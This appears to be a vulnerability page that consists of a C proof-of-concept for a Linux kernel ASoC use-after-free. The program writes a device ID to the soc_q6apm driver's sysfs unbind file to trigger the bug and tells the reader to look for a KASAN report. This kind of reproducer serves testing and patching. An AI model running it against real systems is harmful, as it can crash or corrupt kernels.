CVE-2026-31587 Linux内核ASoC释放后利用漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> /* * PoC for CVE-2026-31587 * This script attempts to trigger the vulnerability by unbinding the driver, * which simulates the device removal sequence that causes the race condition * in the resource cleanup logic. */ int main() { const char *unbind_path = "/sys/bus/platform/drivers/soc_q6apm/unbind"; // Note: The actual device ID may vary depending on the hardware configuration. // This ID is an example based on typical Qualcomm platforms. const char *device_id = "1e00000.q6apm"; int fd; ssize_t bytes_written; printf("[*] Attempting to trigger driver unbind for %s...\n", device_id); fd = open(unbind_path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind path (Driver may not be loaded or path differs)"); return 1; } bytes_written = write(fd, device_id, strlen(device_id)); if (bytes_written < 0) { perror("[-] Failed to write device ID"); close(fd); return 1; } printf("[+] Unbind command sent. Check dmesg for KASAN: slab-use-after-free.\n"); close(fd); return 0; }